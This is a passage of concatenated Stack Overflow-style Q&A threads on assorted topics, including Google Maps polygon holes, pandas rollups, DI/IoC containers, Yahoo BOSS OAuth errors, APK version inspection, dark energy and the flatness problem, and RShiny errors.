new google.maps.LatLng(40.425598, -3.700899),
new google.maps.LatLng(40.425463, -3.700854),
new google.maps.LatLng(40.425433, -3.700681),
new google.maps.LatLng(40.42562, -3.700271),
new google.maps.LatLng(40.425812, -3.699839),
new google.maps.LatLng(40.426022, -3.69939),
new google.maps.LatLng(40.426067, -3.699324),
new google.maps.LatLng(40.426291, -3.698853),
new google.maps.LatLng(40.426637, -3.698263),
new google.maps.LatLng(40.42671, -3.698136),
new google.maps.LatLng(40.426769, -3.698023),
new google.maps.LatLng(40.427069, -3.697595),
new google.maps.LatLng(40.427119, -3.697535),
new google.maps.LatLng(40.427169, -3.697471),
new google.maps.LatLng(40.427797, -3.69711),
new google.maps.LatLng(40.427977, -3.697097),
new google.maps.LatLng(40.42796, -3.697033),
new google.maps.LatLng(40.427837, -3.696453),
new google.maps.LatLng(40.427726, -3.696158),
new google.maps.LatLng(40.427669, -3.695928),
new google.maps.LatLng(40.427616, -3.695661),
new google.maps.LatLng(40.428139, -3.695696),
new google.maps.LatLng(40.428853, -3.696005),
new google.maps.LatLng(40.429302, -3.696197),
new google.maps.LatLng(40.42972, -3.696376),
new google.maps.LatLng(40.429726, -3.69617),
new google.maps.LatLng(40.429682, -3.695167),
new google.maps.LatLng(40.429773, -3.695159),
new google.maps.LatLng(40.430665, -3.695085),
new google.maps.LatLng(40.430755, -3.695078),
new google.maps.LatLng(40.430639, -3.693428),
new google.maps.LatLng(40.430738, -3.693419),
new google.maps.LatLng(40.431153, -3.69338),
new google.maps.LatLng(40.431671, -3.693339),
new google.maps.LatLng(40.43177, -3.693331),
new google.maps.LatLng(40.43186, -3.693324),
new google.maps.LatLng(40.432478, -3.693276),
new google.maps.LatLng(40.432739, -3.693252),
new google.maps.LatLng(40.432901, -3.693242)
  ], [
new google.maps.LatLng(40.427424, -3.699115),
new google.maps.LatLng(40.427964, -3.69924),
new google.maps.LatLng(40.428203, -3.699299),
new google.maps.LatLng(40.428266, -3.699305),
new google.maps.LatLng(40.428432, -3.699329),
new google.maps.LatLng(40.428463, -3.699454),
new google.maps.LatLng(40.428542, -3.699836),
new google.maps.LatLng(40.428664, -3.700415),
new google.maps.LatLng(40.428844, -3.701258),
new google.maps.LatLng(40.428848, -3.701273),
new google.maps.LatLng(40.428901, -3.701504),
new google.maps.LatLng(40.42891, -3.701553),
new google.maps.LatLng(40.428962, -3.701781),
new google.maps.LatLng(40.429049, -3.702306),
new google.maps.LatLng(40.428748, -3.702163),
new google.maps.LatLng(40.428645, -3.702123),
new google.maps.LatLng(40.427962, -3.701857),
new google.maps.LatLng(40.427548, -3.701696),
new google.maps.LatLng(40.42727, -3.701581),
new google.maps.LatLng(40.427262, -3.70145),
new google.maps.LatLng(40.427297, -3.700851),
new google.maps.LatLng(40.427306, -3.70076),
new google.maps.LatLng(40.427312, -3.700656),
new google.maps.LatLng(40.427356, -3.700048),
new google.maps.LatLng(40.427361, -3.699976),
new google.maps.LatLng(40.42737, -3.699884),
new google.maps.LatLng(40.427371, -3.699837),
new google.maps.LatLng(40.427406, -3.699245),
new google.maps.LatLng(40.427424, -3.699115)
]];

http://jsfiddle.net/zey0v9jp/
Why with my data the inner ring has background color?
I have no idea what the cause is .....

A: The winding direction of a "hole" needs to be opposite the winding direction of the outer boundary.
Reverse the order of the coordinates in the inner boundary:
var paths_innerBW = [];
paths_innerBW =[paths[0],[]];
for (var i=0;i<paths[1].length; i++) {
    paths_innerBW[1][i] = paths[1][paths[1].length-i-1];
}

updated fiddle
code snippet:

var paths = [
  [
    new google.maps.LatLng(40.432901, -3.693242),
    new google.maps.LatLng(40.432896, -3.693366),
    new google.maps.LatLng(40.432842, -3.694789),
    new google.maps.LatLng(40.432833, -3.694912),
    new google.maps.LatLng(40.432999, -3.6949),
    new google.maps.LatLng(40.433829, -3.694829),
    new google.maps.LatLng(40.433932, -3.694822),
    new google.maps.LatLng(40.434022, -3.694816),
    new google.maps.LatLng(40.434928, -3.69474),
    new google.maps.LatLng(40.435077, -3.694725),
    new google.maps.LatLng(40.435076, -3.69485),
    new google.maps.LatLng(40.435035, -3.696426),
    new google.maps.LatLng(40.435179, -3.696416),
    new google.maps.LatLng(40.435567, -3.69639),
    new google.maps.LatLng(40.435662, -3.696382),
    new google.maps.LatLng(40.435658, -3.696257),
    new google.maps.LatLng(40.435581, -3.694807),
    new google.maps.LatLng(40.435573, -3.694681),
    new google.maps.LatLng(40.436564, -3.694595),
    new google.maps.LatLng(40.436663, -3.694583),
    new google.maps.LatLng(40.436663, -3.69471),
    new google.maps.LatLng(40.43669, -3.696191),
    new google.maps.LatLng(40.436689, -3.696313),
    new google.maps.LatLng(40.436779, -3.696306),
    new google.maps.LatLng(40.436977, -3.696294),
    new google.maps.LatLng(40.438149, -3.696219),
    new google.maps.LatLng(40.438307, -3.696203),
    new google.maps.LatLng(40.43831, -3.696327),
    new google.maps.LatLng(40.43837, -3.697579),
    new google.maps.LatLng(40.438374, -3.697701),
    new google.maps.LatLng(40.438378, -3.697828),
    new google.maps.LatLng(40.438406, -3.698438),
    new google.maps.LatLng(40.438406, -3.698476),
    new google.maps.LatLng(40.438414, -3.698542),
    new google.maps.LatLng(40.438442, -3.699126),
    new google.maps.LatLng(40.438446, -3.699248),
    new google.maps.LatLng(40.438454, -3.699373),
    new google.maps.LatLng(40.438479, -3.699828),
    new google.maps.LatLng(40.438487, -3.699974),
    new google.maps.LatLng(40.438494, -3.700201),
    new google.maps.LatLng(40.438511, -3.700501),
    new google.maps.LatLng(40.43853, -3.700995),
    new google.maps.LatLng(40.438606, -3.702541),
    new google.maps.LatLng(40.438657, -3.70377),
    new google.maps.LatLng(40.438669, -3.704118),
    new google.maps.LatLng(40.438685, -3.704454),
    new google.maps.LatLng(40.438719, -3.705496),
    new google.maps.LatLng(40.438738, -3.706029),
    new google.maps.LatLng(40.438749, -3.70643),
    new google.maps.LatLng(40.438764, -3.706876),
    new google.maps.LatLng(40.438802, -3.708035),
    new google.maps.LatLng(40.43881, -3.708214),
    new google.maps.LatLng(40.438648, -3.708229),
    new google.maps.LatLng(40.437531, -3.708311),
    new google.maps.LatLng(40.437445, -3.708318),
    new google.maps.LatLng(40.437449, -3.70846),
    new google.maps.LatLng(40.437512, -3.709802),
    new google.maps.LatLng(40.43752, -3.709965),
    new google.maps.LatLng(40.437529, -3.710104),
    new google.maps.LatLng(40.437572, -3.711025),
    new google.maps.LatLng(40.437581, -3.71115),
    new google.maps.LatLng(40.437482, -3.711158),
    new google.maps.LatLng(40.436981, -3.7112),
    new google.maps.LatLng(40.436981, -3.711189),
    new google.maps.LatLng(40.436418, -3.711233),
    new google.maps.LatLng(40.436323, -3.711242),
    new google.maps.LatLng(40.436315, -3.711118),
    new google.maps.LatLng(40.436271, -3.710183),
    new google.maps.LatLng(40.436263, -3.710039),
    new google.maps.LatLng(40.436255, -3.709882),
    new google.maps.LatLng(40.436191, -3.708552),
    new google.maps.LatLng(40.436183, -3.708409),
    new google.maps.LatLng(40.436093, -3.708416),
    new google.maps.LatLng(40.435205, -3.708492),
    new google.maps.LatLng(40.43511, -3.708498),
    new google.maps.LatLng(40.435114, -3.708649),
    new google.maps.LatLng(40.435205, -3.709957),
    new google.maps.LatLng(40.435213, -3.71011),
    new google.maps.LatLng(40.435221, -3.710261),
    new google.maps.LatLng(40.435256, -3.711201),
    new google.maps.LatLng(40.43526, -3.71133),
    new google.maps.LatLng(40.435165, -3.71134),
    new google.maps.LatLng(40.434737, -3.711375),
    new google.maps.LatLng(40.434656, -3.711381),
    new google.maps.LatLng(40.434259, -3.711413),
    new google.maps.LatLng(40.434156, -3.711417),
    new google.maps.LatLng(40.434061, -3.711421),
    new google.maps.LatLng(40.433061, -3.711503),
    new google.maps.LatLng(40.43297, -3.711511),
    new google.maps.LatLng(40.432867, -3.71152),
    new google.maps.LatLng(40.432479, -3.711552),
    new google.maps.LatLng(40.431835, -3.711604),
    new google.maps.LatLng(40.431745, -3.711613),
    new google.maps.LatLng(40.431654, -3.711621),
    new google.maps.LatLng(40.431114, -3.711668),
    new google.maps.LatLng(40.43037, -3.711735),
    new google.maps.LatLng(40.430203, -3.711835),
    new google.maps.LatLng(40.430186, -3.711648),
    new google.maps.LatLng(40.430063, -3.710426),
    new google.maps.LatLng(40.429927, -3.709089),
    new google.maps.LatLng(40.429914, -3.708938),
    new google.maps.LatLng(40.429905, -3.708896),
    new google.maps.LatLng(40.429892, -3.708799),
    new google.maps.LatLng(40.429843, -3.708805),
    new google.maps.LatLng(40.428921, -3.70936),
    new google.maps.LatLng(40.42883, -3.709443),
    new google.maps.LatLng(40.42873, -3.70953),
    new google.maps.LatLng(40.428568, -3.709635),
    new google.maps.LatLng(40.428519, -3.709499),
    new google.maps.LatLng(40.428316, -3.709481),
    new google.maps.LatLng(40.428321, -3.709417),
    new google.maps.LatLng(40.428325, -3.708782),
    new google.maps.LatLng(40.428329, -3.708081),
    new google.maps.LatLng(40.428335, -3.707872),
    new google.maps.LatLng(40.428295, -3.707878),
    new google.maps.LatLng(40.428006, -3.707928),
    new google.maps.LatLng(40.427974, -3.707933),
    new google.maps.LatLng(40.428005, -3.707338),
    new google.maps.LatLng(40.427973, -3.707343),
    new google.maps.LatLng(40.427964, -3.707345),
    new google.maps.LatLng(40.427473, -3.707427),
    new google.maps.LatLng(40.427432, -3.707434),
    new google.maps.LatLng(40.427437, -3.707393),
    new google.maps.LatLng(40.427464, -3.706702),
    new google.maps.LatLng(40.427475, -3.706418),
    new google.maps.LatLng(40.427467, -3.706265),
    new google.maps.LatLng(40.427967, -3.706165),
    new google.maps.LatLng(40.428048, -3.706151),
    new google.maps.LatLng(40.428045, -3.705988),
    new google.maps.LatLng(40.427966, -3.705586),
    new google.maps.LatLng(40.427936, -3.705405),
    new google.maps.LatLng(40.427853, -3.704952),
    new google.maps.LatLng(40.427647, -3.70393),
    new google.maps.LatLng(40.427634, -3.703864),
    new google.maps.LatLng(40.427612, -3.703866),
    new google.maps.LatLng(40.427589, -3.703869),
    new google.maps.LatLng(40.427278, -3.703926),
    new google.maps.LatLng(40.427233, -3.703934),
    new google.maps.LatLng(40.427203, -3.703648),
    new google.maps.LatLng(40.427195, -3.703571),
    new google.maps.LatLng(40.42719, -3.703538),
    new google.maps.LatLng(40.426987, -3.703572),
    new google.maps.LatLng(40.426974, -3.703575),
    new google.maps.LatLng(40.426942, -3.703586),
    new google.maps.LatLng(40.42692, -3.70359),
    new google.maps.LatLng(40.426906, -3.703592),
    new google.maps.LatLng(40.426893, -3.703593),
    new google.maps.LatLng(40.426884, -3.703593),
    new google.maps.LatLng(40.42687, -3.703591),
    new google.maps.LatLng(40.426857, -3.703586),
    new google.maps.LatLng(40.426848, -3.703577),
    new google.maps.LatLng(40.426663, -3.703611),
    new google.maps.LatLng(40.426347, -3.703669),
    new google.maps.LatLng(40.426316, -3.703676),
    new google.maps.LatLng(40.426311, -3.703639),
    new google.maps.LatLng(40.426298, -3.70354),
    new google.maps.LatLng(40.426116, -3.701729),
    new google.maps.LatLng(40.426112, -3.701685),
    new google.maps.LatLng(40.426078, -3.701199),
    new google.maps.LatLng(40.426074, -3.701156),
    new google.maps.LatLng(40.426146, -3.701128),
    new google.maps.LatLng(40.426102, -3.70111),
    new google.maps.LatLng(40.425872, -3.70101),
    new google.maps.LatLng(40.425598, -3.700899),
    new google.maps.LatLng(40.425463, -3.700854),
    new google.maps.LatLng(40.425433, -3.700681),
    new google.maps.LatLng(40.42562, -3.700271),
    new google.maps.LatLng(40.425812, -3.699839),
    new google.maps.LatLng(40.426022, -3.69939),
    new google.maps.LatLng(40.426067, -3.699324),
    new google.maps.LatLng(40.426291, -3.698853),
    new google.maps.LatLng(40.426637, -3.698263),
    new google.maps.LatLng(40.42671, -3.698136),
    new google.maps.LatLng(40.426769, -3.698023),
    new google.maps.LatLng(40.427069, -3.697595),
    new google.maps.LatLng(40.427119, -3.697535),
    new google.maps.LatLng(40.427169, -3.697471),
    new google.maps.LatLng(40.427797, -3.69711),
    new google.maps.LatLng(40.427977, -3.697097),
    new google.maps.LatLng(40.42796, -3.697033),
    new google.maps.LatLng(40.427837, -3.696453),
    new google.maps.LatLng(40.427726, -3.696158),
    new google.maps.LatLng(40.427669, -3.695928),
    new google.maps.LatLng(40.427616, -3.695661),
    new google.maps.LatLng(40.428139, -3.695696),
    new google.maps.LatLng(40.428853, -3.696005),
    new google.maps.LatLng(40.429302, -3.696197),
    new google.maps.LatLng(40.42972, -3.696376),
    new google.maps.LatLng(40.429726, -3.69617),
    new google.maps.LatLng(40.429682, -3.695167),
    new google.maps.LatLng(40.429773, -3.695159),
    new google.maps.LatLng(40.430665, -3.695085),
    new google.maps.LatLng(40.430755, -3.695078),
    new google.maps.LatLng(40.430639, -3.693428),
    new google.maps.LatLng(40.430738, -3.693419),
    new google.maps.LatLng(40.431153, -3.69338),
    new google.maps.LatLng(40.431671, -3.693339),
    new google.maps.LatLng(40.43177, -3.693331),
    new google.maps.LatLng(40.43186, -3.693324),
    new google.maps.LatLng(40.432478, -3.693276),
    new google.maps.LatLng(40.432739, -3.693252),
    new google.maps.LatLng(40.432901, -3.693242)
  ],
  [
    new google.maps.LatLng(40.427424, -3.699115),
    new google.maps.LatLng(40.427964, -3.69924),
    new google.maps.LatLng(40.428203, -3.699299),
    new google.maps.LatLng(40.428266, -3.699305),
    new google.maps.LatLng(40.428432, -3.699329),
    new google.maps.LatLng(40.428463, -3.699454),
    new google.maps.LatLng(40.428542, -3.699836),
    new google.maps.LatLng(40.428664, -3.700415),
    new google.maps.LatLng(40.428844, -3.701258),
    new google.maps.LatLng(40.428848, -3.701273),
    new google.maps.LatLng(40.428901, -3.701504),
    new google.maps.LatLng(40.42891, -3.701553),
    new google.maps.LatLng(40.428962, -3.701781),
    new google.maps.LatLng(40.429049, -3.702306),
    new google.maps.LatLng(40.428748, -3.702163),
    new google.maps.LatLng(40.428645, -3.702123),
    new google.maps.LatLng(40.427962, -3.701857),
    new google.maps.LatLng(40.427548, -3.701696),
    new google.maps.LatLng(40.42727, -3.701581),
    new google.maps.LatLng(40.427262, -3.70145),
    new google.maps.LatLng(40.427297, -3.700851),
    new google.maps.LatLng(40.427306, -3.70076),
    new google.maps.LatLng(40.427312, -3.700656),
    new google.maps.LatLng(40.427356, -3.700048),
    new google.maps.LatLng(40.427361, -3.699976),
    new google.maps.LatLng(40.42737, -3.699884),
    new google.maps.LatLng(40.427371, -3.699837),
    new google.maps.LatLng(40.427406, -3.699245),
    new google.maps.LatLng(40.427424, -3.699115)
  ]
];

var map = new google.maps.Map(document.getElementById("map"), {
  zoom: 14,
  center: new google.maps.LatLng(40.432901, -3.693242),
  mapTypeId: google.maps.MapTypeId.SATELLITE
});
var paths_innerBW = [];
paths_innerBW = [paths[0],
  []
];
for (var i = 0; i < paths[1].length; i++) {
  paths_innerBW[1][i] = paths[1][paths[1].length - i - 1];
}

var poly = new google.maps.Polygon({
  paths: paths_innerBW,
  strokeWeight: 3,
  fillColor: '#55FF55',
  fillOpacity: 0.5
});

poly.setMap(map);
#map {
  width: 450px;
  height: 400px;
}
<script src="https://maps.google.com/maps/api/js"></script>
<div id="map"></div>


text:
Q: python - parsing and sorting dates I have an HTML file that is composed of 10 megs of the following:
Chat User1
Friday, August 29, 2014 at 6:03pm PDT

Some text

Chat User2
Friday, August 29, 2014 at 6:01pm PDT

Some preceding text

The dates are kind of all over the place in the file, and, for each date, the chats for a given session are in reverse order.
What I'd like to do is to to be able to, in python, is to construct a text file that writes everything out in chronological order, i.e.:
Chat User 2
Friday, August 29, 2014 at 6:01pm PDT
Some preceding text

Chat User 1
Friday, August 29, 2014 at 6:02pm PDT
Some text

...

I'm not sure what the best approach is here, given the size of the file, but I was thinking about... maybe building up a large dict that has a user, date, and text keys (with string, datetime, string as respective data types)  and then sorting that on date? Honestly not sure what the best approach to this might be.

A: For just 10 megs, I will definitly go with a in memory sort. I would parse the HTML with Beautiful Soup, create a array of object with the given class :
class Chat:
    def __init__(self, user, date, text):
        self.user = user
        self.date = date
        self.text = text

And sort the array with :
ut.sort(key=lambda x: x.date, reverse=True)

But if the order is perfect reverse in the original file and you do not want to use a lot of memory, you could read the file chat by chat and insert each chat at the beginning of your result file.


text:
Q: Rollup in pandas I have this sample dataframe:
Agent     Product_type     Hours_worked     Total_spent
-----     ------------     ------------     -----------
Avi       stA              20               400
Avi       stB              30               500
Benny     stB              10               500
Benny     stB              20               300
Gilroy    stA              10               200
Gilroy    stB              20               300
Gilroy    stB              30               100

I wish to run a series of calculations on this dataframe, by two levels - once, as a groupby on Agent+Product_type, and the other - Just on Agent (with a generic product type, let's call it "All". For that, I wish to manipulate the above dataframe so that the resulting df I work with would look more like:
Agent     Product_type     Hours_worked     Total_spent
-----     ------------     ------------     -----------
Avi       stA              20               400
Avi       stB              30               500
Benny     stB              30               800
Gilroy    stA              10               200
Gilroy    stB              50               400
Avi       All              50               900
Benny     All              30               800
Gilroy    All              60               900

What would be the best way to do that?
Thanks!

A: Use aggregate function.
df2 = df.groupby(['Agent', 'Product_type']).agg(sum).reset_index()
df3 = df2.groupby('Agent').agg(sum).reset_index()
df3['Product_type'] = 'All'

df2.append(df3).reset_index(drop=True)

    Agent Product_type  Hours_worked  Total_spent
0     Avi          stA            20          400
1     Avi          stB            30          500
2   Benny          stB            30          800
3  Gilroy          stA            10          200
4  Gilroy          stB            50          400
5     Avi          All            50          900
6   Benny          All            30          800
7  Gilroy          All            60          600


text:
Q: Am I properly understanding DI/IoC? I am currently attempting to learn the benefits of using an IoC container and familiarize myself with DI.  I've started to use StructureMap since it seems rather simplistic and yet powerful.
I want to verify that my understanding of these concepts are correct.  Let's assume the following rudimentary classes in an application (details ommited for brevity):
public class OrderService : IOrderService
{
    private IOrderRepository _repository;
    private ITaxCalculator _taxCalculator;
    private IShippingCalculator _shippingCalculator;

    public OrderService(IOrderRepository repository,
        ITaxCalculator taxCalculator,
        IShippingCalculator shippingCalculator)
    {
        this._repository = repository;
        this._shippingCalculator = shippingCalculator;
        this._taxCalculator = taxCalculator;
    }

    public IOrder Find(int id) { return this._repository.Find(id); }
}

public class OrderRepository : IOrderRepository
{
    public IOrder Find(int id) { // ... }
}

public class StandardShippingCalculator : IShippingCalculator
{
    // ...
}

public class StandardTaxCalculator : ITaxCalculator
{
    private ITaxSpecification _specification;

    public StandardTaxCalculator(ITaxSpecification specification)
    {
        this._specification = specification;
    }
}

First and foremost, the Dependency Inversion Principle states that since the OrderService is a "high-level" module it houldn't depend on the implementation details of anything lower level, it should just have references to those classes and be able to ask them to do their thing without having to know what it's doing, and the consuming code should be responsible for creating and handing these preconfigured modules to it.  Is that right?  Therefore, DI keeps these classes loosely coupled so that they don't have to know the exact way a method on that dependency is being called, simply that it will be called and do whatever it needs to do - the OrderService doesn't care if the Repository is querying XML, or using NHibernate or EF or even raw DataSets; it just knows that it can call into the Repository, tell it to find a Order with an ID of 42, and the repository will know what to do.
It's also my understanding that an IoC container, StructureMap in this case, provides a benefit by not forcing us to make sure we're creating all these dependencies by hand and passing them in.  For example, the Main method of a trivial app using the above code might have:
static void Main(string[] args)
{
    IOrderService service = new OrderService(
        new OrderRepository(), new StandardShippingService(),
        new StandardTaxService(new StandardTaxSpecification()));

    IOrder order = service.Find(42);

    // Do something with order...
}

which is revoltingly ugly with all the news to set it up; even if I created variables it's still ugly.  The use of the IoC container lets me avoid all of this, and in the case of StructureMap it would become:
static void Main(string[] args)
{
    ObjectFactory.Initialize(x =>
    {
        x.For<IOrderRepository>().Use<OrderRepository>();
        x.For<IOrderService>().Use<OrderService>();
        x.For<IOrder>().Use<Order>();
        x.For<IShippingCalculator>()
                        .Use<StandardShippingCalculator>();
        x.For<ITaxCalculator>().Use<StandardTaxCalculator>();
        x.For<ITaxSpecification>()
                        .Use<StandardTaxSpecification>();
    });

    IOrderService service =
                ObjectFactory.GetInstance<IOrderService>();
    IOrder order = service.Find(42);
    // do stuff with order...
}

Which is much cleaner, easier to maintain, and lets me just sub out the concrete class for, say, a Mock if I was writing a unit test.  In short, the benefit is that it decouples everything even more to where I don't even have to care (in the calling code, that is) what a particular class depends on, I can just create one using the container and let it do it's thing and ensure the consuming code only knows what it needs to - for instance in a real app if the Controller is calling the service, it doesn't need to know about Repositories or Calculators or Specifications, all it needs to know is to use the OrderService to do something with an Order.
Is this understand correct?  On that note, there is a few things I'm not sure of yet:

*

*If you decide to use an IoC container, is it meant to be used everywhere in the application, only where you have many inverted dependencies to resolve, or only in the consumer?  For example, in the OrderRepository if I'm using a concrete implementation and newing up an Order; would this class be using StructureMap as well to get the Order?  This might be a somewhat silly question but all of the DI/IoC examples I've seen only focus on using it in the consuming client (e.g. a webpage), and never touch on using it elsewhere.  It seems like it's an all-or-nothing approach: If you're going to use an IoC container then it gets used everywhere; you are essentially replacing any call to new SomeObject(); with, in this case, ObjectFactory.GetInstance<ISomeObject>();

*Is it considered good or bad to have every class (where possible, of course) derive from an interface whether or not there's a need to use DI/IoC or something like mocking it?  I've seen many code examples where every single class that's not a built-in one has an interface behind it, and while I can see the benefits and possible future-proofing of doing this and I suppose that following TDD or BDD might be a factor here as using those methodologies will usually tell you if you need an interface for a class, but I've seen and spoken to many people who, TDD or not, feel that you should never define an object's type as a concrete class; it should always be an interface or abstract class as the underlying type. That seems like it's a case of the "Needless Complexity" code smell, not to mention a violation of YAGNI.

A: Both your questions concern controversial topics, but I'll weigh in on my side of the debates.

If you decide to use an IoC container,
  is it meant to be used everywhere in
  the application, only where you have
  many inverted dependencies to resolve,
  or only in the consumer?

Your top-level application (the consumer) is the only component that should know about your dependency injection framework. You don't need to replace new throughout your codebase because each object should have all the dependency instances it needs to do its job (Miško Hevery's "Dependency Injection Myth: Reference Passing" was what finally drove this home for me).

Is it considered good or bad to have
  every class (where possible, of
  course) derive from an interface
  whether or not there's a need to use
  DI/IoC or something like mocking it?

The rest of this question shows that you already know the answer to this: only build interfaces to create more suitable abstractions (than the concrete class in question) or to provide some other value.

A: I'm currently working deeply with DI/IoC in C#/WinForm on VisualStudio2010/12.
My choise fall on Castle Windsor, but also StructureMap but is not important what IoCC you use.
For a very detailed answer I suggest you to read "Dependency Injection in .NET" by Mark Seemann. That is a good book even if you do not develop in .NET.
Regarding your questions:

*

*A DI CONTAINER is a library that you can potentially use from wherever you would
like—but that doesn't mean that you should. Although you can spread out the use of
the container so that it permeates a large percentage of your classes, you should
instead concentrate it into a single area of your application.
This place is called the
COMPOSITION ROOT and you should only use a DI CONTAINER from within that place.
The COMPOSITION ROOT of the application should be located in the application's
root so that it can properly compose the application.
You shouldn't attempt to compose classes in any of the modules because that
approach limits your options. All classes in application modules should use CONSTRUCTOR
INJECTION (or, in rare cases, one of the other patterns like Property Injection) and leave it up to the COMPOSITION ROOT to compose the application's object graph. Any DI CONTAINER
call should be limited to the COMPOSITION ROOT.
The COMPOSITION ROOT can be spread out across a few classes.
This is expected—the important thing is that all classes are contained in the same
module, which preferebly is the application root.

*You are not required to use interfaces everywhere. You can also use concrete classes. Certainly interfaces provide a higher level of abstraction, but you have to consider if you need in your project. For example, it is good practice to use the interface in the business logic in your application.


text:
Q: Can the Fourier Transform come out of other group representations? Let $V$ be the $p$ dimensional vector space of functions from $\mathbb{F}_p  $ to the $\mathbb{C}$ and let $\hat{f}$ be the discrete fourier transform of $f$.    There exists a representation, namely, the Weil Representation, $\rho: SL_2(\mathbb{F}_p) \to GL(V) $ where $\rho (\omega)(f) = \hat{f} $
where $\omega=
  \left( {\begin{array}{cc}
   0 &1 \\
   -1 & 0 \\
  \end{array} } \right)
\ $.
I was curious if there were other (interesting) group representations $V$ for which some element acted as the fourier transform.


text:
Q: How to use yahoo boss search in ios I am trying to use yahoo boss search but I am getting the following error

{"error":{"lang":"en-US","description":"Please provide valid
  credentials. OAuth oauth_problem=\"signature_invalid\",
  realm=\"yahooapis.com\""}}

I am using following code to initiate the search request.
OAConsumer *consumer = [[OAConsumer alloc] initWithKey:Consumer-key
                                                secret:Consumer-secret];
NSURL *url = [NSURL URLWithString:@"http://yboss.yahooapis.com/ysearch/images?q=obama&format=json&count=1"];

OAMutableURLRequest *request = [[OAMutableURLRequest alloc] initWithURL:url
                                                               consumer:consumer
                                                                  token:nil   // we don't have a Token yet
                                                                  realm:@"yahooapis.com"
                                                      signatureProvider:nil]; // use the default method, HMAC-SHA1
[request prepare];
[request setHTTPMethod:@"POST"];

NSURLConnection *conn = [[NSURLConnection alloc] initWithRequest:request delegate:self];

What is wrong with the above code. Please help.

A: "error":{"lang":"en-US","description":"Please provide valid credentials.
OAuth oauth_problem=\"signature_invalid\", realm=\"yahooapis.com\""}
"error":{"lang":"en-US","description":"Please provide valid credentials.
OAuth oauth_problem=\"signature_invalid\", realm=\"yahooapis.com\""}

Your error says it all. As well as your code. Look at this line of code specifically
token:nil   // we don't have a Token yet

Or your Consumer object could hold invalid credentials here
initWithKey:Consumer-key
secret:Consumer-secret

In other words the authentication process is failing and returning the above errors


text:
Q: How to know the apk version before installing it? I have to scan the apk version before installing it using adb.
Is there an adb command which allow to know the version of an apk stored on my hard disk before installing it ?
I tried to see different adb command and i saw adb shell pm list packages
But it worked with a device not on the apk stored on my hard disk.

A: Yes you can do it using cmd.
SDK> build-tools>select any directory(use latest version)> open cmd here and type following line and hit enter
D:\SDK\build-tools\28.0.3> aapt dump badging apkname.apk

above command will gives you package name, VersionCode,VersionName and may more information
i have copied my apk in same location i.e in 28.0.3


text:
Q: Doesn't the presence of dark energy make the flatness problem less important? If the cosmological constant (aka dark energy / vacuum energy) were zero, then an Omega greater than 1 would mean both positive curvature and a recollapse while an Omega less than 1 would mean both negative curvature and eternal expansion. This would make flatness (Omega = 1) very critical for the existence of large structures such as galaxies. But now that we believe the Omega for dark energy to be around 0.7, total Omega could be greater or less than 1 without causing recollapse. Wouldn't this make the "flatness problem" much less pressing?
I understand that dark energy density is independent of the scale factor and matter density changes as the inverse of the scale factor cubed, and that means that if total Omega were to deviate from 1 ever so slightly at the time of the Big Bang, we would not have a flat universe today, which we do. And I understand that that seems curious. But regardless, we could still have galaxies, couldn't we? In fact, wouldn't the expansion of the universe be slower if total Omega were greater than 1 (still assuming Omega_Lambda = 0.7), thus giving us even more time to form galaxies? Am I missing something?

A: The flatness problem would still be a problem.
The flatness problem is a pretty big problem today, but it was an even bigger problem in the early universe (notably at the times of baryogenesis and at the surface of last scattering). The current universe does appear to be dominated by some fluid that tends to make the universe evolve towards flat (dark energy), but at earlier times (when the universe was dominated by matter or radiation) this was not the case. At these times, the dark energy density was negligible, but the flatness problem still existed during these epochs.
Also to comment one point, you said "I understand that dark energy density is independent of the scale factor". Dark energy is the name given to the 'stuff' that causes the late time accelerated expansion. The cosmological constant is one possible explanation of what dark energy is. If dark energy is a cosmological constant, this would be true. But if dark energy is something else (quintessence, or pick your favorite exotic theory), then dark energy will evolve (e.g. change as the scale factor changes).


text:
Q: RShiny error: comparison (3) is possible only for atomic and list types I am building an RShiny application. I have read through some other threads here on stackoverflow with similar issues and now I sort of feel what the problem is (I call a function and want to compare it to a scalar) but unfortunately, it doesn't help me to move forward with my issue.
Below you see a simplified code to show you what I am trying to achieve. Basically I want to take the discount_fn function's substitution value for various x values and do different tasks depending on the condition. For simplicity, I changed these to fix numbers.
Additionally, another weird thing is that the moment I comment out the entire if condition section, my error message changes to argument 1 (type 'closure') cannot be handled by 'cat'.
library(shiny)

ui <- fluidPage(
  textOutput("results"),
  hr(),
  fluidRow(
    column(3,
           numericInput("price", "price:", 50, min = 0, max = 99999, step = 1),
           numericInput("day_price", "day price:", 0.05, min = 0, max = 1, step = 0.001),
           sliderInput("aggregated_cost", "aggregated cost", "min" = 0, "value" = 25, "max" = 100, "step" = 1)
    )
  )
)

server <- function(input, output, session) {
  price        <- reactive({ input$price })
  day_price    <- reactive({ input$day_price })
  AC           <- reactive({ input$aggregated_cost })
  discount_fn  <- function(x){ 1-(day_price()/price() )*x }

  output$results <- renderText({
    if(discount_fn(5) < AC ) {
       # do something
    }
    else if(discount_fn(5) >= AC & discount_fn(5) < AC*1.5 ) {
       # do something different
    }
    else {
       # do again something different
    }
  })
}

shinyApp(ui, server)


text:
Q: Duda función Js con Session Storage Tengo un botón que manda un elemento de una tabla al portapapeles. Sin embargo, cuando selecciono varios elementos, solamente me llega a mandar uno en lugar de varios.
Este es el código: (Row Selected sería el elemento seleccionado)
$('#buttonsDocumentacion .botonClipboard').on('click', function(){
        clipboard = JSON.parse(sessionStorage.getItem("clipboard"));
        if($.inArray(rowSelected[0], clipboard) < 0){
            if(clipboard == null){
                clipboard = [];
            }
            clipboard.push(rowSelected[0]);
            sessionStorage.setItem('clipboard', JSON.stringify(clipboard));
        }
        compruebaClipboard();
    });

rowSeleted[0] no es el primero de la lista, sino que el id de dicho elemento.
Con clipboard.push(...rowSelected) no es lo que quiero, ya que manda la carpeta padre y el elemento seleccionado.

Tengo otra alternativa como:
$('#buttonsDocumentation .botonClipboard').on('click', function(){
    var idsClip=[];
    if(clipboard = tableDocs.rows('.selected').data()){
        for(var i=0; i<clipboard.length; i++){
            idsClip.push(clipboard[i][0]);
        }
    }
    sessionStorage.setItem('clipboard', JSON.stringify(idsClip));
    testClipboard();
});

Esto me funciona porque hace el envío al portapapeles, pero tengo otra tabla (tableSearch) que comparte la misma botonera y esa no funciona. Si pongo || o && no funciona y me coge la primera.

A: Armé este ejemplo con javascript-data-grid, documentación de selection: https://www.ag-grid.com/javascript-data-grid/row-selection/
Por cada click llama a la funciónonSelectionChanged, la cual sencillamente devuelve un console.log con un array de objetos, cada objeto es una de las row seleccionadas.
<!DOCTYPE html>

    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
